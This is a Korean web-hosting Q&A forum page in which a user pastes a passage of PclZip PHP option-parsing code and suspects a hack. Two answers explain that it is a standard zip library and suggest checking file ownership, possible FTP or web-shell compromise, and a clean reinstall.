            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

 

            return PclZip::errorCode();

          }

          $i++;

        break;

 

        case PCLZIP_OPT_BY_EREG :

          $p_options_list[$i] = PCLZIP_OPT_BY_PREG;

        case PCLZIP_OPT_BY_PREG :

          if (($i+1) >= $p_size) {

            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

 

            return PclZip::errorCode();

          }

 

          if (is_string($p_options_list[$i+1])) {

              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];

          }

          else {

            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

 

            return PclZip::errorCode();

          }

          $i++;

        break;

 

        case PCLZIP_OPT_COMMENT :

        case PCLZIP_OPT_ADD_COMMENT :

        case PCLZIP_OPT_PREPEND_COMMENT :

          if (($i+1) >= $p_size) {

            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE,

                    "Missing parameter value for option '"

.PclZipUtilOptionText($p_options_list[$i])

."'");

 

            return PclZip::errorCode();

          }

 

          if (is_string($p_options_list[$i+1])) {

              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];

          }

          else {

            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE,

                    "Wrong parameter value for option '"

.PclZipUtilOptionText($p_options_list[$i])

."'");

 

            return PclZip::errorCode();

          }

          $i++;

        break;

 

        case PCLZIP_OPT_BY_INDEX :

          if (($i+1) >= $p_size) {

            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

 

            return PclZip::errorCode();

          }

 

          $v_work_list = array();

          if (is_string($p_options_list[$i+1])) {

 

              $p_options_list[$i+1] = strtr($p_options_list[$i+1], ' ', '');

 

              $v_work_list = explode(",", $p_options_list[$i+1]);

          }

          else if (is_integer($p_options_list[$i+1])) {

              $v_work_list[0] = $p_options_list[$i+1].'-'.$p_options_list[$i+1];

          }

          else if (is_array($p_options_list[$i+1])) {

              $v_work_list = $p_options_list[$i+1];

          }

          else {

            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option '".PclZipUtilOptionText($p_options_list[$i])."'");

 

            return PclZip::errorCode();

          }

          

          $v_sort_flag=false;

          $v_sort_value=0;

          for ($j=0; $j<sizeof($v_work_list); $j++) {

              $v_item_list = explode("-", $v_work_list[$j]);

              $v_size_item_list = sizeof($v_item_list);

              

              

              if ($v_size_item_list == 1) {

                  $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];

                  $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[0];

              }

              elseif ($v_size_item_list == 2) {

                  $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];

                  $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[1];

              }

              else {

                  PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Too many values in index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");

 

                  return PclZip::errorCode();

              }

 

 

              if ($v_result_list[$p_options_list[$i]][$j]['start'] < $v_sort_value) {

                  $v_sort_flag=true;

 

                  PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Invalid order of index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");

 

                  return PclZip::errorCode();

              }

              $v_sort_value = $v_result_list[$p_options_list[$i]][$j]['start'];

&

이 질문에 댓글 쓰기 :

답변 2

pclzip 이라는 라이브러리 함수인거같은데

 

상식적으로 웹서버 권한상 document_root 에 파일을쓰거나 할수없습니다.

 

파일을 만든 소유자가 누구인지 확인해보세요 user 계정인지 웹서버(nobody, apache등) 계정인지

 

해킹이라 의심되면 소스파일의 보안 취약점 또는 호스팅사의 루트 계정이 뚤리거나 하는경우가있습니다.

ftp 계정 유출이거나, 업로드된 파일 중에서 웹셀이 실행되고 있는 것 아닌지...

원인을 찾아서 제거하기는 전문가 아니면 어려울 것 같고,

데이타베이스와 데이타 폴더의 파일들만 추려내서 새로 설치하는 것이 오히려 손쉬운 방법일 수 있다는 생각을 합니다.

 

 

 

 

 

답변을 작성하시기 전에 로그인 해주세요.
전체 123,622 | RSS
QA 내용 검색

회원로그인

(주)에스아이알소프트 / 대표:홍석명 / (06211) 서울특별시 강남구 역삼동 707-34 한신인터밸리24 서관 1404호 / E-Mail: admin@sir.kr
사업자등록번호: 217-81-36347 / 통신판매업신고번호:2014-서울강남-02098호 / 개인정보보호책임자:김민섭(minsup@sir.kr)
© SIRSOFT